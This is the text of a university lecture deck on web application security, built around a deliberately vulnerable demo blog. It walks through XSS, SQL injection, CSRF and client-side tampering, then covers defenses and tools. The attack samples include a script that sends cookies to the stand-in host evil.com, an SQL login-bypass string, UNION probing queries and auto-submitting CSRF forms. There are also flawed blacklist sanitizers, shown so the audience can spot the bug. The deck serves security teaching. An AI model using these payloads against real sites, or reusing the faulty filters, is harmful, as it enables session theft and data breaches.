Web Application Security

Vulnerabilities, attacks, and

countermeasures
 Who Am I?
• Marco Cova ([email protected])
• PhD candidate
– UCSB Computer Science Dept.
– Computer Security Group
• Research focus
– Vulnerability analysis of web applications
– Detection and analysis of web-based malware (drive-by-
download attacks, phishing, etc.)
• (Occasional) pentester
– Web applications
– Electronic voting machines
– Capture-the-Flag competitions (CTF)
Web security, or the lack thereof

• World Wide Web has become a powerful platform for

application delivery
• Sensitive data increasingly made available through web
applications
• Corresponding rise in number of vulnerabilities discovered and
security incidents reported
Web-related vulnerabilities
 Confidential data breaches

Organization Records Data stolen

TJX 94,000,000 Customer records
CardSystems, Inc. 40,000,000 Credit card records
Auction.co.kr 18,000,000 Credit card numbers
TD Ameritrade 6,300,000 Customer records
Chilean government 6,000,000 Credit card numbers
Data Processors Intl. 5,000,000 Credit card records
UCLA 800,000 Social security numbers
Oak Ridge National Lab 12,000 Social security numbers
 Outline
• Introduction
• Demo application: BuggyBloggy
• Vulnerabilities
• Defenses
• Tools
• Conclusions
• Resources
BuggyBloggy™ - home page
BuggyBloggy™ - login
BuggyBloggy™ - edit post
 BuggyBloggy™ - DB

authors Posts comments

id id id
name title post_id
salt body name
passwd added_at url
profile author_id added_at
Image_path is_public comment
 Outline
• Introduction
• Demo application: BuggyBloggy
• Vulnerabilities
– Misconfiguration
– Client-side controls
– Authentication errors
– Cross-site scripting
– SQL injection
– Cross-site request forgery
• Defenses
• Tools
• Conclusions
• Resources
 Misconfiguration
• Outdated versions of the server
• Outdated versions of third-party web
applications
• Guessable passwords
– Application
– FTP/SSH
• Retrievable source code
• Trojaned home machine
 Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=guest
 Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=admin
 Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=admin
– Hidden form parameters
<input type=“hidden” name=“role”
value=“guest”>
 Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=admin
– Hidden form parameters
<input type=“hidden” name=“role”
value=“admin”>
 Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=admin
– Hidden form parameters
<input type=“hidden” name=“role”
value=“admin”>
– JavaScript checks
function validateRole() { … }
 Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=admin
– Hidden form parameters
<input type=“hidden” name=“role”
value=“admin”>
– JavaScript checks
function validateRole() { return 1;}
 Direct object reference
• Application displays only the “authorized”
objects for the current user
• BUT it does not enforce the authorization
rules on the server-side
• Attacker can force the navigation (“forceful
browsing”) to gain unauthorized access to
these objects
 Authentication errors
• Weak passwords
– Enforce strong, easy-to-remember passwords
• Brute forceable
– Enforce upper limit on the number of errors in a
given time
• Verbose failure messages (“wrong password”)
– Do not leak information to attacker
 Cross-site scripting (XSS)

1. Attacker injects malicious code into vulnerable web server

 Cross-site scripting (XSS)

GET /posts
Cookie: s=01a4b8

1. Attacker injects malicious code into vulnerable web server

2. Victim visits vulnerable web server
 Cross-site scripting (XSS)

HTTP/1.1 200 OK
…
<script>…</script>

1. Attacker injects malicious code into vulnerable web server

2. Victim visits vulnerable web server
3. Malicious code is served to victim by web server
 Cross-site scripting (XSS)

GET /log?s=01a4b8

1. Attacker injects malicious code into vulnerable web server

2. Victim visits vulnerable web server
3. Malicious code is served to victim by web server
4. Malicious code executes on the victims with web server’s
privileges
 Three types of XSS
• Reflected: vulnerable application simply
“reflects” attacker’s code to its visitors
• Persistent: vulnerable application stores (e.g.,
in the database) the attacker’s code and
presents it to its visitors
• DOM-based: vulnerable application includes
pages that use untrusted parts of their DOM
model (e.g., document.location,
document.URL) in an insecure way
 XSS attacks: stealing cookie
• Attacker injects script that reads the site’s cookie
• Scripts sends the cookie to attacker
• Attacker can now log into the site as the victim

<script>
var img = new Image();
img.src =
“http://evil.com/log_cookie.php?” +
document.cookie
</script>
 XSS attacks: “defacement”
• Attacker injects script that automatically
redirects victims to attacker’s site

<script>
document.location =
“http://evil.com”;
</script>
 XSS attacks: phishing
• Attacker injects script that reproduces look-
and-feel of “interesting” site (e.g., paypal,
login page of the site itself)
• Fake page asks for user’s credentials or other
sensitive information
• The data is sent to the attacker’s site
 XSS attacks: privacy violation
• The attacker injects a script that determines
the sites the victims has visited in the past
• This information can be leveraged to perform
targeted phishing attacks
 XSS attacks: run exploits
• The attacker injects a script that launches a
number of exploits against the user’s browser
or its plugins
• If the exploits are successful, malware is
installed on the victim’s machine without any
user intervention
• Often, the victim’s machine becomes part of a
botnet
 XSS attacks: run exploits

http://wepawet.cs.ucsb.edu/view.php?type=js&hash=19724e128456759aa854c71394469c22&t=1258534012
 XSS attacks: JavaScript malware
• JavaScript opens up internal network to
external attacks
– Scan internal network
– Fingerprint devices on the internal network
– Abuse default credentials of DSL/wireless routers
• More attacks: Hacking Intranet Websites from
the Outside,
J. Grossman, Black Hat 2006,
 SQL injection

HTTP Request
POST /login?u=foo&p=bar

SQL Query
SELECT user, pwd FROM users WHERE u = ‘foo’

• Attacker submits HTTP request with a malicious parameter

value that modifies an existing SQL query, or adds new
queries
 SQL injection

HTTP Request
POST /login?u=‘+OR+1<2#&p=bar

SQL Query
SELECT user, pwd FROM users WHERE u = ‘’ OR 1<2#

• Attacker submits HTTP request with a malicious parameter

value that modifies an existing SQL query, or adds new
queries
 SQLI attacks
• Detecting:
– “Negative approach”: inject special-meaning
characters that are likely to cause an error, e.g.,
user=“
– “Positive approach”: inject expression and check if
it is interpreted, e.g., user=ma” “rco instead
of user=marco
• Consequences:
– Violate data integrity
– Violate data confidentiality
 SQLI attacks: DB structure
• Error messages
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server
version for the right syntax to use near '"""' at
line 1 SELECT * FROM authors WHERE name = "””

• Special queries
– " union select null,null,null,null,null -- ”
gives SQL error message
– " union select null,null,null,null,null,null –
” gives invalid credential message
Cross-site request forgery (CSRF)

GET /posts
Cookie: s=01a4b8

1. Victim is logged into vulnerable web site

Cross-site request forgery (CSRF)

GET /index.html

1. Victim is logged into vulnerable web site

2. Victim visits malicious page on attacker web site
Cross-site request forgery (CSRF)

HTTP 1.1 200 OK

…
<img
src=http://vuln/
delete>

1. Victim is logged into vulnerable web site

2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
Cross-site request forgery (CSRF)

GET /delete
Cookie: s=01a4b8

1. Victim is logged into vulnerable web site

2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
4. Victim involuntarily sends a request to the vulnerable web site
 Outline
• Introduction
• Demo application: BuggyBloggy
• Vulnerabilities
• Defenses
– Methodology
– Sanitization
– Prepared statements (SQL injection)
– CSRF defenses
• Tools
• Conclusions
• Resources
 Methodology
• Threat and risk analysis
• Security training
• Design review
• Manual and automated code review
• Manual and automated testing
• Online monitoring (detection/prevention)
• Repeat…
 Countermeasure: sanitization
• Sanitize all user inputs that may be used in sensitive operations
• Sanitization is context-dependent
– HTML element content
<span>user input</span>
– HTML attribute value
<span class=“user input”>…</span>
– JavaScript data
<script>user input</span>
– CSS value
span a:hover { color: user input }
– URL value
<a href=“user input”>
• Sanitization is attack-dependent
– XSS
– SQL injection
Countermeasure: sanitization (cont’d)
• Blacklisting vs. whitelisting
• Roll-your-own vs. reuse
– PHP filters
– ESAPI
 Spot the problem (1)
$www_clean = ereg_replace(
“[^A-Za-z0-9 .-@://]”, “”, $www);
echo $www;

45
 Spot the problem (1)
$www_clean = ereg_replace(
“[^A-Za-z0-9 .-@://]”, “”, $www);
echo $www;

• Problem: in a character class, ‘.-@’ means “all

characters included between ‘.’ and ‘@’”!
• Attack string:
<script src=http://evil.com/attack.js/>
• Regular expressions can be tricky

46
 Spot the problem (2)

function removeEvilAttributes($tag) {
$stripAttrib = ‘javascript:|onclick|ondblclick|
onmousedown|onmouseup|onmouseover|onmousemove|
onmouseout|onkeypress|onkeydown|onkeyup|style|
onload|onchange’;
return preg_replace(
“/$stringAttrib/i”, “forbidden”, $tag);
}

47
 Spot the problem (2)

function removeEvilAttributes($tag) {
$stripAttrib = ‘javascript:|onclick|ondblclick|
onmousedown|onmouseup|onmouseover|onmousemove|
onmouseout|onkeypress|onkeydown|onkeyup|style|
onload|onchange’;
return preg_replace(
“/$stringAttrib/i”, “forbidden”, $tag);
}

• Problem: missing evil attribute: onfocus

• Attack string:
<a onfocus=“malicious code”>…</a>
• Black-list solutions are difficult to get right

48
 Spot the problem (3)

$clean = preg_replace(“#<script(.*?
>(.*?)</script(.*?)>#i”,
“SCRIPT BLOCKED”, $value);
echo $clean;

49
 Spot the problem (3)

$clean = preg_replace(“#<script(.*?
>(.*?)</script(.*?)>#i”,
“SCRIPT BLOCKED”, $value);
echo $clean;

• Problem: over-restrictive sanitization: browsers accept

malformed input!
• Attack string: <script>malicious code<
• Implementation != Standard

50
 Countermeasures: SQLI
• Use prepared statements instead of
composing query by hand

$db = mysqli_init();
$stmt = mysqli_prepare($db,
“SELECT id FROM authors “ .
“WHERE name = ?”);
mysqli_stmt_bind_param($stmt,
“s”, $_GET[“name”]);
mysqli_stmt_execute($stmt);
 CSRF countermeasures
• Use POST instead of GET requests
• Easy for an attacker to generate POST requests:
<form id=“f” action=“http://target.com/”
method=“post”>
<input name=“p” value=“42”>
</form>
<script>
var f = document.getElementById(‘f’);
f.submit();
</script>
 CSRF countermeasures
• Use POST instead of GET requests
• Easy for an attacker to generate POST requests:
<form id=“f” action=“http://target.com/”
method=“post”>
<input name=“p” value=“42”>
</form>
<script>
var f = document.getElementById(‘f’);
f.submit();
</script>
 CSRF countermeasures
• Check the value of the Referer header of
incoming requests
 CSRF countermeasures
• Check the value of the Referer header of
incoming requests
• Attacker cannot spoof the value of the
Referer header (modulo bugs in the
browser)
 CSRF countermeasures
• Check the value of the Referer header of
incoming requests
• Attacker cannot spoof the value of the
Referer header (modulo bugs in the
browser)
• Legitimate requests may be stripped of their
Referer header
– Proxies
– Web application firewalls
 CSRF countermeasures
• Every time a form is served, add an additional
parameter with a secret value (token) and
check that it is valid upon submission

<form>
<input …>
<input name=“anticsrf” type=“hidden”

value=“asdje8121asd26n1”
</form>
 CSRF countermeasures
• Every time a form is served, add an additional
parameter with a secret value (token) and
check that it is valid upon submission
• If the attacker can guess the token value, then
no protection
 CSRF countermeasures
• Every time a form is served, add an additional
parameter with a secret value (token) and
check that it is valid upon submission
• If the token is not regenerated each time a
form is served, the application may be
vulnerable to replay attacks (nonce)
 Outline
• Introduction
• Demo application: BuggyBloggy
• Vulnerabilities
• Defenses
• Tools
• Conclusions
• Resources
 Tools: source code analysis

LAPSE: Web Application Security Scanner for Java

http://suif.stanford.edu/~livshits/work/lapse/
 Tools: request tampering

Live HTTP Headers

https://addons.mozilla.org/en-US/firefox/addon/3829
 Tools: burp

http://www.portswigger.net/suite/
 Tools: web application scanners
• Tools to automatically find vulnerabilities in
web applications
• 3 main components
– Crawler
– Fault injector
– Analyzer
• Good: quick, automated (push-button)
baseline
• Bad: false positives, false negatives
 Tools: mod_security

http://www.modsecurity.org/
 Tools: PHPIDS

http://php-ids.org/
 Tools: log analyzers

Tools: logwatch, SWATCH, …

 Outline
• Introduction
• Demo application: BuggyBloggy
• Vulnerabilities
• Defenses
• Tools
• Conclusions
• Resources
 Conclusions
• Keep server and third-party applications and
library up-to-date
• Do not trust user input
• Review code & design and identify possible
weaknesses
• Monitor run-time activity to detect ongoing
attacks/probes
 Resources
• Guides
– OWASP, “Top Ten Project”,
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
– D. Stuttard, M. Pinto, “The Web Application Hacker's Handbook:
Discovering and Exploiting Security Flaws”, Wiley, 2007
– PHP Security Consortium, “PHP Security Guide”,
http://phpsec.org/projects/guide/
– “Ruby On Rails Security Guide”,
http://guides.rubyonrails.org/security.html
• SQL injection
– C. Anley, “Advanced SQL Injection In SQL Server Applications”,
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
– K. Spett , “Blind SQL Injection”, http://p17-
linuxzone.de/docs/pdf/Blind_SQL_Injection.pdf
 Resources (cont’d)
• XSS
– A. Klein, “Cross Site Scripting Explained”,
http://crypto.stanford.edu/cs155/papers/CSS.pdf
– A. Klein, “DOM Based Cross Site Scripting”,
http://www.webappsec.org/projects/articles/071
105.shtml
– RSnake, “XSS (Cross Site Scripting) Cheat Sheet
Esp: for filter evasion”,
http://ha.ckers.org/xss.html
 License
This presentation is licensed under a

Creative Commons
Attribution-Noncommercial-Share Alike 3.0
United States License
http://creativecommons.org/licenses/by-nc-sa/3.0/us/